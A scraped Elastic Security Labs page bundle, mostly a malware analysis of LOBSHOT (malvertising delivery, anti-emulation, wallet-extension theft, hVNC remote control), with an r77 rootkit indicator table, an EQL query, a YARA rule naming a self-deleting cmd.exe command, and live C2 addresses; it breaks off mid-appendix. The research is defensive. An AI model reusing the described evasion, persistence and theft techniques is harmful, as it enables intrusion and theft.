research.\"}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:\"Indicator\"}),(0,t.jsx)(e.th,{children:\"Type\"}),(0,t.jsx)(e.th,{children:\"Name\"}),(0,t.jsx)(e.th,{children:\"Reference\"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"msupdate[.]info\"}),(0,t.jsx)(e.td,{children:\"Domain\"}),(0,t.jsx)(e.td,{children:\"n/a\"}),(0,t.jsx)(e.td,{children:\"C2\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"5.133.65.53\"}),(0,t.jsx)(e.td,{children:\"IPV4\"}),(0,t.jsx)(e.td,{children:\"n/a\"}),(0,t.jsx)(e.td,{children:\"C2\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"5.133.65.54\"}),(0,t.jsx)(e.td,{children:\"IPV4\"}),(0,t.jsx)(e.td,{children:\"n/a\"}),(0,t.jsx)(e.td,{children:\"C2\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"5.133.65.55\"}),(0,t.jsx)(e.td,{children:\"IPV4\"}),(0,t.jsx)(e.td,{children:\"n/a\"}),(0,t.jsx)(e.td,{children:\"C2\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"5.133.65.56\"}),(0,t.jsx)(e.td,{children:\"IPV4\"}),(0,t.jsx)(e.td,{children:\"n/a\"}),(0,t.jsx)(e.td,{children:\"C2\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"916c805b0d512dd7bbd88f46632d66d9613de61691b4bd368e4b7cb1f0ac7f60\"}),(0,t.jsx)(e.td,{children:\"SHA-256\"}),(0,t.jsx)(e.td,{children:\"$77_Install.exe\"}),(0,t.jsx)(e.td,{children:\"Installer module\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"9fb38412cac94255a3abbec80f15620098a0c85247690850c302a9ff060b5c0c\"}),(0,t.jsx)(e.td,{children:\"SHA-256\"}),(0,t.jsx)(e.td,{children:\"n/a\"}),(0,t.jsx)(e.td,{children:\"Stager module\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"96849108e13172d14591169f8fdcbf8a8aa6be05b7b6ef396d65529eacc02d89\"}),(0,t.jsx)(e.td,{children:\"SHA-256\"}),(0,t.jsx)(e.td,{children:\"n/a\"}),(0,t.jsx)(e.td,{children:\"64 bit core module\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"aeb6a7b9ca890dc08259d7c239eb188e466210d48a17640671cba398bf69392f\"}),(0,t.jsx)(e.td,{children:\"SHA-256\"}),(0,t.jsx)(e.td,{children:\"n/a\"}),(0,t.jsx)(e.td,{children:\"32 bit core module\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"91c6e2621121a6871af091c52fafe41220ae12d6e47e52fd13a7b9edd8e31796\"}),(0,t.jsx)(e.td,{children:\"SHA-256\"}),(0,t.jsx)(e.td,{children:\"n/a\"}),(0,t.jsx)(e.td,{children:\"64 bit service module\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"29bc88a316e3f34ed29c5358e459b9fbf3b7962a72cac388ab5c977dd990ea77\"}),(0,t.jsx)(e.td,{children:\"SHA-256\"}),(0,t.jsx)(e.td,{children:\"n/a\"}),(0,t.jsx)(e.td,{children:\"32 bit Service module\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"10165e27e0db0a6708f346ddea657ab0409499f93eb8426a80864a966f0f401e\"}),(0,t.jsx)(e.td,{children:\"SHA-256\"}),(0,t.jsx)(e.td,{children:\"RMS.exe\"}),(0,t.jsx)(e.td,{children:\"Remote Manipulator System(RMS)\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"757fa687a9b4d461ffda78d93e4d812003307a9b9747dce7fb469625429cc551\"}),(0,t.jsx)(e.td,{children:\"SHA-256\"}),(0,t.jsx)(e.td,{children:\"$77_oracle.exe\"}),(0,t.jsx)(e.td,{children:\"XMRIG miner\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"a7e31abe10be6bca44f0a846d631e578efe78c14f6bf1cf834cfb15469fc1d3a\"}),(0,t.jsx)(e.td,{children:\"SHA-256\"}),(0,t.jsx)(e.td,{children:\"$77_Loader.exe\"}),(0,t.jsx)(e.td,{children:\".NET binary loading a PowerShell script\"})]})]})]})})]})}function k(n={}){let{wrapper:e}=n.components||{};return e?(0,t.jsx)(e,Object.assign({},n,{children:(0,t.jsx)(d,n)})):d(n)}var v=k;return y(S);})();\n;return Component;"},"_id":"articles/elastic-security-labs-steps-through-the-r77-rootkit.mdx","_raw":{"sourceFilePath":"articles/elastic-security-labs-steps-through-the-r77-rootkit.mdx","sourceFileName":"elastic-security-labs-steps-through-the-r77-rootkit.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/elastic-security-labs-steps-through-the-r77-rootkit"},"type":"Article","imageUrl":"/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/photo-edited-06@2x.jpg","readingTime":"23 min read","series":"","url":"/elastic-security-labs-steps-through-the-r77-rootkit","headings":[{"level":2,"title":"Key takeaways","href":"#key-takeaways"},{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Code analysis","href":"#code-analysis"},{"level":3,"title":"Overview","href":"#overview"},{"level":3,"title":"Installer module","href":"#installer-module"},{"level":3,"title":"Stager module","href":"#stager-module"},{"level":4,"title":"API unhooking","href":"#api-unhooking"},{"level":4,"title":"SeDebugPrivilege","href":"#sedebugprivilege"},{"level":4,"title":"Service module decryption and decompression","href":"#service-module-decryption-and-decompression"},{"level":4,"title":"Parent PID spoofing","href":"#parent-pid-spoofing"},{"level":4,"title":"Process hollowing","href":"#process-hollowing"},{"level":3,"title":"Service module","href":"#service-module"},{"level":4,"title":"Unhooking DLLs","href":"#unhooking-dlls"},{"level":4,"title":"Config setup","href":"#config-setup"},{"level":4,"title":"Injecting the core rootkit","href":"#injecting-the-core-rootkit"},{"level":3,"title":"The rootkit’s core","href":"#the-rootkits-core"},{"level":3,"title":"Packed PowerShell","href":"#packed-powershell"},{"level":2,"title":"Detection logic","href":"#detection-logic"},{"level":3,"title":"Prevention","href":"#prevention"},{"level":3,"title":"Detection","href":"#detection"},{"level":3,"title":"YARA","href":"#yara"},{"level":2,"title":"References","href":"#references"},{"level":2,"title":"Observations","href":"#observations"}],"author":[{"title":"Salim Bitam","slug":"salim-bitam","description":"Elastic Security Labs Team Research Engineer II, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?l(g(t)):{},o(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eo(i({},\"__esModule\",{value:!0}),t);var m=d((D,c)=\u003e{c.exports=_jsx_runtime});var y={};j(y,{default:()=\u003ew,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Salim Bitam\",description:\"Elastic Security Labs Team Research Engineer II, Malware\",slug:\"salim-bitam\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function h(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var w=h;return M(y);})();\n;return Component;"},"_id":"authors/salim-bitam.mdx","_raw":{"sourceFilePath":"authors/salim-bitam.mdx","sourceFileName":"salim-bitam.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/salim-bitam"},"type":"Author","imageUrl":"","url":"/authors/salim-bitam"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Elastic Security Labs discovers the LOBSHOT malware","slug":"elastic-security-labs-discovers-lobshot-malware","date":"2023-05-16","description":"Elastic Security Labs is naming a new malware family, LOBSHOT. LOBSHOT propagates and infiltrates targeted networks through Google Ads and hVNC sessions to deploy backdoors masquerading as legitimate application installers.","image":"photo-edited-08@2x.jpg","subtitle":"An analysis of LOBSHOT, an hVNC malware family spreading through Google Ads.","tags":["lobshot","ref5873"],"body":{"raw":"\n## Key takeaways\n\n- Adversaries continue to abuse and increase reach through malvertising such as Google Ads by impersonating legitimate software\n- Elastic Security Labs is shedding light on an undiscovered hVNC malware that has been quietly collecting a large install base\n- This malware we are calling LOBSHOT appears to be leveraged for financial purposes employing banking trojan and info-stealing capabilities\n\n## Preamble\n\nElastic Security Labs along with the research community noticed a large spike in the adoption of malvertising earlier this year. Attackers promoted their malware using an elaborate scheme of fake websites through Google Ads and embedding backdoors in what appears to users as legitimate installers. In this post, we will highlight one malware family we observed from this spike we’re calling LOBSHOT. LOBSHOT continues to collect victims while staying under the radar.\n\nOne of LOBSHOT’s core capabilities is around its hVNC (Hidden Virtual Network Computing) component. These kinds of modules allow for direct and unobserved access to the machine. This feature continues to be successful in bypassing fraud detection systems and is often baked into many popular families as plugins.\n\nWe will walk through the LOBSHOT infection chain and its behaviors. Additionally, we will provide a YARA signature and configuration extractor for this family.\n\n![LOBSHOT infection chain](/assets/images/elastic-security-labs-discovers-lobshot-malware/image9.png)\n\nThroughout our analysis, we observed infrastructure known to belong to [TA505](https://malpedia.caad.fkie.fraunhofer.de/actor/ta505). TA505 is a well-known cybercrime group associated with Dridex, Locky, and Necurs campaigns. A loader documented by Proofpoint, known as [Get2](https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader), has also been tied to the same domains in the past that we observed with LOBSHOT. We assess with moderate confidence that LOBSHOT is a new malware capability leveraged by TA505 starting in 2022.\n\n## Campaign context\n\nEarlier this year, Elastic Security Labs observed multiple infections with an interesting chain of events that resulted in the execution of an unknown hVNC malware, which we are calling LOBSHOT. Around this same time, similar infection chains were observed in the security community with commonalities of users searching for legitimate software downloads that ended up getting served illegitimate software from promoted ads from Google [[1](https://www.spamhaus.com/resource-center/a-surge-of-malvertising-across-google-ads-is-distributing-dangerous-malware/), [2](https://twitter.com/1ZRR4H/status/1617661947851464704?s=20), [3](https://twitter.com/Malwar3Ninja/status/1617423187415044099?s=20), [4](https://twitter.com/malwrhunterteam/status/1617605240316129280?s=20)].\n\nIn one example, the malicious ad was for a legitimate remote desktop solution, AnyDesk. Careful examination of the URL goes to `https://www.amydecke[.]website` instead of the legitimate AnyDesk URL, `https://www.anydesk[.]com`.\n\n![Malicious Google Ad](/assets/images/elastic-security-labs-discovers-lobshot-malware/image22.jpg)\n\nThe landing pages were very convincing with similar branding as the legitimate software and included Download Now buttons that pointed to an MSI installer.\n\n![Fake AnyDesk landing page for installer](/assets/images/elastic-security-labs-discovers-lobshot-malware/image13.jpg)\n\nThanks to security researcher [Will Dormann](https://twitter.com/wdormann), we were able to [view](https://twitter.com/wdormann/status/1617612216945250304?s=20) the screenshots from the AnyDesk campaign.\n\n![Tweet referencing AnyDesk infection chain](/assets/images/elastic-security-labs-discovers-lobshot-malware/image15.jpg)\n\nAt the time of publication, we haven’t seen any previous public information about LOBSHOT, so we will focus our research on LOBSHOT’s functionality and capabilities.\n\n## LOBSHOT code analysis\n\nTo focus on the LOBSHOT malware, we will skip the initial infection chain. For these initial details, here is a good [sandbox](https://www.joesandbox.com/analysis/787624/0/html) report to look over for general TTPs. We have observed over 500 unique LOBSHOT samples since last July. The samples we have observed are compiled as 32-bit DLLs or 32-bit executables typically ranging around **93** KB to **124** KB. Consider the following [sample](https://www.virustotal.com/gui/file/e4ea88887753a936eaf3361dcc00380b88b0c210dcbde24f8f7ce27991856bf6) representative of LOBSHOT for purposes of this analysis.\n\n### Dynamic API resolution\n\nIn our LOBSHOT sample, like most malware we see today, it employs dynamic import resolution to evade security products and slow down the rapid identification of its capabilities. This process involves resolving the names of the Windows APIs that the malware needs at runtime as opposed to placing the imports into the program ahead of time.\n\n![Resolving Windows Registry APIs through LoadLibraryA/GetProcessAddress](/assets/images/elastic-security-labs-discovers-lobshot-malware/image10.jpg)\n\n### Defender emulation check\n\nAfter the initial libraries are loaded, LOBSHOT performs a Windows Defender anti-emulation check by verifying if the computer name matches the string **HAL9TH** and if the username matches **JohnDoe**. These are hard-coded values within the emulation layer of Defender, if they are present, the malware immediately stops running. This kind of verification has been incorporated in many other stealers including Arkei, Vidar, and Oski. Below is the emulation output using the [Qiling](https://github.com/qilingframework/qiling) framework highlighting these verification checks.\n\n![Defender checks via Qiling](/assets/images/elastic-security-labs-discovers-lobshot-malware/image30.jpg)\n\n### String obfuscation\n\nThis malware hides its primary strings through a straightforward encryption function using different bitwise operators. To perform the string decryption, LOBSHOT uses an initial seed from the [WTS_SESSION_INFO](https://learn.microsoft.com/en-us/windows/desktop/api/wtsapi32/ns-wtsapi32-wts_session_infoa) structure from a call to **WTSEnumerateSessionsA.**\n\n![LOBSHOT calling WTSEnumerateSessionsA](/assets/images/elastic-security-labs-discovers-lobshot-malware/image29.jpg)\n\nIn this case, the malware developer sets up the initial seed by performing an XOR on the **SessionID** (always a **0** ) and the **S** char from “Services”.\n\n![WTS_SESSION_INFO structure used as the initial seed for string decryption](/assets/images/elastic-security-labs-discovers-lobshot-malware/image4.jpg)\n\n### Initial enumeration\n\nBefore sending any outbound network requests, LOBSHOT builds a custom structure containing enumerated data from the machine including:\n\n- GUID of machine derived from **SOFTWARE\\Microsoft\\Cryptography\\MachineGuid**\n- Windows edition, username, computer name\n- A VM check, number of processes running, process ID, parent process of malware\n- Windows desktop object details\n - Screen height/width\n - Display device information\n - Handles to the desktop objects and windows\n - DPI for the display(s)\n\n![Malware retrieving Windows desktop object information](/assets/images/elastic-security-labs-discovers-lobshot-malware/image12.jpg)\n\n### Execution flow\n\nAfter LOBSHOT is executed, it moves a copy of itself to the **C:\\ProgramData** folder, spawning a new process using **explorer.exe** , terminating the original process, and finally deleting the original file. This design choice is used in an attempt to break the process tree ancestry; making it harder to spot for analysts.\n\n![The LOBSHOT process tree as observed with Elastic Defend](/assets/images/elastic-security-labs-discovers-lobshot-malware/image5.jpg)\n\nBelow is a screenshot after the initial execution, the malware is now parentless and running from the **C:\\ProgramData** directory.\n\n![ LOBSHOT running without a parent process](/assets/images/elastic-security-labs-discovers-lobshot-malware/image25.jpg)\n\n### Persistence\n\nFor persistence, LOBSHOT leverages the [Registry run key persistence method](https://attack.mitre.org/techniques/T1547/001/). In our sample, this is placed in the **HKEY_CURRENT_USER** Registry hive with a randomly generated name pointing to the malware located in **C:\\ProgramData.**\n\n![Registry key persistence](/assets/images/elastic-security-labs-discovers-lobshot-malware/image18.jpg)\n\nIn addition, it sets Registry key data under the **Software\\Microsoft\\Windows NT\\CurrentVersion\\Devices** key path which is used to check for a hardcoded global identifier key that would indicate the system had already been infected. In our sample, the **Display** value is set to the string **134a1160**. The results from the stealer feature are recorded inside the **Default Printer** value. We'll discuss the stealer functionality in the next section.\n\n![Registry hive used to store data](/assets/images/elastic-security-labs-discovers-lobshot-malware/image16.jpg)\n\n### Stealer functionality\n\nWith the persistence mechanism established, LOBSHOT starts a new thread kicking off the stealer functionality. It starts by targeting specific Google Chrome extensions that deal with cryptocurrency wallets. Below are Procmon outputs showing LOBSHOT trying to access 32 Chrome wallet extensions, nine Edge wallet extensions, and 11 Firefox wallet extensions.\n\n![Chrome extensions related to cryptocurrency wallets](/assets/images/elastic-security-labs-discovers-lobshot-malware/image14.jpg)\n\n![Edge extensions related to cryptocurrency wallets](/assets/images/elastic-security-labs-discovers-lobshot-malware/image3.jpg)\n\n![Firefox extensions related to cryptocurrency wallets](/assets/images/elastic-security-labs-discovers-lobshot-malware/image2.jpg)\n\nFor the complete listing of the different cryptocurrencies mapped to their extension IDs, see the [appendix](https://www.elastic.co/security-labs/elastic-security-labs-discovers-lobshot-malware#appendix).\n\nIf there is a match with any of these extensions, the results are inserted in the **Software\\Microsoft\\Windows NT\\CurrentVersion\\Devices** Registry key value as binary data with the format of browser name_extension name. Below is an example after the registry modification showing: **Chrome_Yoroi**.\n\n![Stealer component writing found wallet to registry](/assets/images/elastic-security-labs-discovers-lobshot-malware/image7.jpg)\n\nAfter the browser extensions are enumerated, there is a check for a hardcoded file titled **hmr\\_\\*.dat** inside the **C:\\ProgramData** directory. If this file exists it will be executed with **rundll32.exe** with the following command-line arguments:\n\n**rundll32.exe \"C:\\ProgramData\\hmr_1.dat\", #1 hmod**\n\nWhile we didn’t observe this behavior directly, this function appears to show off a feature baked in by the developer allowing the ability for additional execution options such as loading their own DLL.\n\n### Network communications\n\nFor each LOBSHOT sample we have reviewed, there is a hardcoded IP and port that is decrypted from the binary that is used as the primary C2. The malware beacons every 5 seconds communicating by using the following calls:\n\n- **ws2_32.socket**\n- **ws2_32.connect**\n- **ws2_32.send**\n- **ws2_32.select**\n- **ws2_32.recv**\n- **ws2_32.shutdown**\n- **ws2_32.closesocket**\n\nOn these outbound requests, it sends pseudorandom hard-coded data along with a shortened GUID value and version number of the module.\n\n![Hardcoded values and version in request](/assets/images/elastic-security-labs-discovers-lobshot-malware/image20.jpg)\n\nBelow is an example of the send request buffer sent during the initial outbound requests showing the above-hardcoded values and version number.\n\n![Request buffer on outbound network traffic](/assets/images/elastic-security-labs-discovers-lobshot-malware/image27.jpg)\n\n![Hardcoded values within outbound network traffic request](/assets/images/elastic-security-labs-discovers-lobshot-malware/image19.jpg)\n\nSearching for the above **mov** instruction paired with the first **DWORD** of the hardcoded value ( **C7 06 25 56 0A DC** ) shows over **550** samples in VirusTotal within the last year. With some of the first samples showing up in late July 2022. The prevalence of these hardcoded values shows that it has been actively used and under development for a long period of time, and will likely continue to be used in the future.\n\n![VirusTotal VTGrep search on hardcoded bytes](/assets/images/elastic-security-labs-discovers-lobshot-malware/image26.jpg)\n\nAfter this initial handshake, LOBSHOT will send the previous custom data structure containing the enumerated data such as the hostname, username, windows objects, etc. over this port.\n\n![The Wireshark output of outbound requests containing victim host information](/assets/images/elastic-security-labs-discovers-lobshot-malware/image17.jpg)\n\n### Capabilities\n\nOne of LOBSHOT’s core capabilities is around its hVNC (Hidden Virtual Network Computing) module.\n\n\u003e Unlike traditional VNC (Virtual Network Computing) where the software provides remote access to a machine with the user’s consent and the visibility of the actions taken on the machine can be clearly observed. hVNC acts in the opposite way designed to stay stealthy where all actions by an attacker are taking place on the same machine, but can’t be visibly observed by the victim. hVNC became a popular solution within the banking trojan space to bypass device and fraud detection solutions. More details on hVNC can be found [here](https://deepsec.net/docs/Slides/2017/Who_Hid_My_Desktop_Or_Safran_Pavel_Asinovsky.pdf).\n\nLOBSHOT implements the hVNC feature by generating a hidden desktop using the **CreateDesktopW** Windows API and then assigning the desktop to the malware using the **SetThreadDesktop** API **.** A new Windows **explorer.exe** process is then created under the context of the new hidden desktop.\n\n![LOBSHOT’s hidden desktop creation](/assets/images/elastic-security-labs-discovers-lobshot-malware/image21.jpg)\n\nAt this stage, the victim machine will start sending screen captures that represent the hidden desktop that is sent to a listening client controlled by the attacker. The attacker interacts with the client by controlling the keyboard, clicking buttons, and moving the mouse, these capabilities provide the attacker full remote control of the device.\n\nWithin LOBSHOT’s hVNC module, there is a built-in GUI menu that allows the attacker to run the following commands quickly:\n\n- Start new **explorer.exe** process\n- Start Windows Run command\n- Start new Windows process with provided command\n- Start Browsers (Internet Explorer, Edge, Firefox)\n- Terminate existing explorer.exe processes and start new explorer.exe process\n- Tamper with Windows sound settings\n- Set/retrieve Clipboard text\n- Activate Start Menu\n- Modify DPI Awareness settings\n\n![Execute the run dialog inside the hVNC module](/assets/images/elastic-security-labs-discovers-lobshot-malware/image8.jpg)\n\n![Clipboard grabber inside the hVNC module](/assets/images/elastic-security-labs-discovers-lobshot-malware/image11.jpg)\n\n![CMD execution inside the hVNC module](/assets/images/elastic-security-labs-discovers-lobshot-malware/image6.jpg)\n\nWhile the main functionality is centered on LOBSHOT’s hVNC module, it does have additional capabilities. One example is its ability to swap out its C2 provided by an operator; it manages this by writing the new C2 details into the registry key path **Software\\Microsoft\\Windows NT\\CurrentVersion\\Devices** under the **Video** value.\n\n![Updating C2 through registry modification](/assets/images/elastic-security-labs-discovers-lobshot-malware/image24.jpg)\n\nLOBSHOT also includes an update mechanism where it will remove previous modifications to the registry such as removing the “Display” value and Run key persistence, starting a new process, and finally exiting the existing process.\n\n![Remove existing registry key](/assets/images/elastic-security-labs-discovers-lobshot-malware/image28.jpg)\n\n![Spawn new LOBSHOT process](/assets/images/elastic-security-labs-discovers-lobshot-malware/image1.jpg)\n\n## LOBSHOT configuration extractor\n\nElastic Security Labs has released an open source tool, under the Elastic 2.0 license, that will allow for configurations to be extracted from LOBSHOT samples. The tool can be downloaded [here](https://github.com/elastic/labs-releases/tree/main/extractors/lobshot).\n\n![](/assets/images/elastic-security-labs-discovers-lobshot-malware/image23.jpg)\n\nThe extractor can run at the individual file or directory level, examples are below:\n\n- **python lobshot_config_extractor.py --file sample.bin**\n- **python lobshot_config_extractor.py --directory samples**\n\n## Summary\n\nThreat groups are continuing to leverage malvertising techniques to masquerade legitimate software with backdoors like LOBSHOT. These kinds of malware seem small, but end up packing significant functionality which helps threat actors move quickly during the initial access stages with fully interactive remote control capabilities. We are continuing to see new samples related to this family each week, and expect it to be around for some time.\n\n## Detection logic\n\n### Prevention\n\n- [Suspicious Windows Explorer Execution](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_windows_explorer_execution.toml)\n- [Suspicious Parent-Child Relationship](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_parent_child_relationship.toml)\n- [Windows.Trojan.Lobshot](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Lobshot.yar)\n\n### Detection\n\n#### EQL query\n\nUsing the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors similar\n\nThe following EQL query can be used to detect suspicious grandparent, parent, child relationships observed with LOBSHOT.\n\n```\nsequence by host.id, user.id with maxspan=1m\n [process where event.type == \"start\" and not startsWith~(process.executable, process.parent.executable)] by process.parent.name, process.entity\\_id\n [file where event.type == \"deletion\"] by file.name, process.entity\\_id\n [process where event.type == \"start\" and not startsWith~(process.executable, process.parent.executable)] by process.name, process.parent.entity\\_id\nuntil [process where event.type == \"end\"] by process.name, process.entity\\_id\n```\n\n#### YARA rule\n\n```\nrule Windows_Trojan_Lobshot {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-04-18\"\n last_modified = \"2023-04-18\"\n license = \"Elastic License v2\"\n os = \"Windows\"\n threat_name = \"Windows.Trojan.Lobshot\"\n reference_sample = \"e4ea88887753a936eaf3361dcc00380b88b0c210dcbde24f8f7ce27991856bf6\"\n strings:\n $str0 = \"HVNC Remote Control\" ascii fullword\n $str1 = \" Error # %d - %08lx\" ascii fullword\n $str2 = \"Set clipboard text failed.\" ascii fullword\n $str3 = \"OK %08lx %08lx %d\" ascii fullword\n $str4 = \"\\\") \u0026 (rundll32.exe \\\"\" wide fullword\n $str5 = \"%LOCALAPPDATA%\\\\svc.db\" wide fullword\n $str6 = \"cmd.exe /c (ping -n 10 127.0.0.1) \u0026 (del /F /Q \\\"\" wide fullword\n $seq_str_decrypt = { 8A 5A ?? 8D 52 ?? 80 EB ?? 85 FF 74 ?? C0 E0 ?? 2C ?? 0A C3 32 C1 32 C7 88 06 32 E8 83 C6 ?? 83 C5 ?? EB ?? }\n $seq_emu_check = { 8B 35 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? C7 44 24 ?? 48 41 4C 39 50 C7 44 24 ?? 54 48 00 00 FF D6 }\n $seq_enum_xor = { FF 15 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 83 7C 24 ?? 00 0F 84 ?? ?? ?? ?? 8B 4C 24 ?? 68 07 80 00 00 8B 41 ?? 8A 00 32 01 A2 ?? ?? ?? ?? }\n $seq_create_guid = { 8D 48 ?? 80 F9 ?? 77 ?? 2C ?? C1 E2 ?? 46 0F B6 C8 0B D1 83 FE ?? 7C ?? 5F 8B C2 5E C3 }\n condition:\n 2 of ($seq*) or 5 of ($str*)\n}\n```\n\n## Observed adversary tactics and techniques\n\nElastic uses the MITRE ATT\u0026CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.\n\n### Tactics\n\nTactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.\n\n- [Initial access](https://attack.mitre.org/tactics/TA0001)\n- [Execution](https://attack.mitre.org/tactics/TA0002)\n- [Persistence](https://attack.mitre.org/tactics/TA0003)\n- [Command and control](https://attack.mitre.org/tactics/TA0011)\n- [Defense evasion](https://attack.mitre.org/tactics/TA0005)\n\n### Techniques / Sub techniques\n\nTechniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.\n\n- [Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001/)\n- [Data from Local System](https://attack.mitre.org/techniques/T1005/)\n- [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033/)\n- [Obfuscated Files or Information: Dynamic API Resolution](https://attack.mitre.org/techniques/T1027/007/)\n- [Remote Services: VNC](https://attack.mitre.org/techniques/T1021/005/)\n- [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041/)\n- [Clipboard Data](https://attack.mitre.org/techniques/T1115/)\n\n## Observations\n\nAll observables are also available for download in both [ECS and STIX format](https://github.com/elastic/labs-releases/tree/main/indicators/lobshot). Additionally, we have created a [VirusTotal Collection](https://www.virustotal.com/gui/collection/abe7f5f8c49b387114e46957feb347af705d1d90733f4b26341e2e5299cbbf4c) with all indicators.\n\n| Indicator | Type | Reference |\n| ---------------------------------------------------------------- | ---------- | ---------- |\n| 95.217.125.200 | IP Address | LOBSHOT C2 |\n| e4ea88887753a936eaf3361dcc00380b88b0c210dcbde24f8f7ce27991856bf6 | SHA-256 | LOBSHOT |\n\n## References\n\nThe following were referenced throughout the above research:\n\n- [https://malpedia.caad.fkie.fraunhofer.de/actor/ta505](https://malpedia.caad.fkie.fraunhofer.de/actor/ta505)\n- [https://twitter.com/wdormann/status/1617612216945250304?s=20](https://twitter.com/wdormann/status/1617612216945250304?s=20)\n- [https://www.malware-traffic-analysis.net/2023/01/23/index.html](https://www.malware-traffic-analysis.net/2023/01/23/index.html)\n\n## Appendix\n\n### Chrome wallet extensions\n\n| Wallet name | Extension ID |\n| ---------------------- | -------------------------------- |\n| Yoroi | ffnbelfdoeiohenkjibnmadjiehjhajb |\n| TronLink | ibnejdfjmmkpcnlpebklmnkoeoihofec |\n| Nifty Wallet | jbdaocneiiinmjbjlgalhcelgbejmnid |\n| MetaMask | nkbihfbeogaeaoehlefnkodbefgpgknn |\n| Math Wallet | afbcbjpbpfadlkmhmclhkeeodmamcflc |\n| Coinbase Wallet | hnfanknocfeofbddgcijnmhnfnkdnaad |\n| Binance Wallet | fhbohimaelbohpjbbldcngcnapndodjp |\n| Brave Wallet | odbfpeeihdkbihmopkbjmoonfanlbfcl |\n| Guarda | hpglfhgfnhbgpjdenjgmdgoeiappafln |\n| Equal Wallet | blnieiiffboillknjnepogjhkgnoapac |\n| Jaxx Liberty | cjelfplplebdjjenllpjcblmjkfcffne |\n| BitApp Wallet | fihkakfobkmkjojpchpfgcmhfjnmnfpi |\n| iWallet | 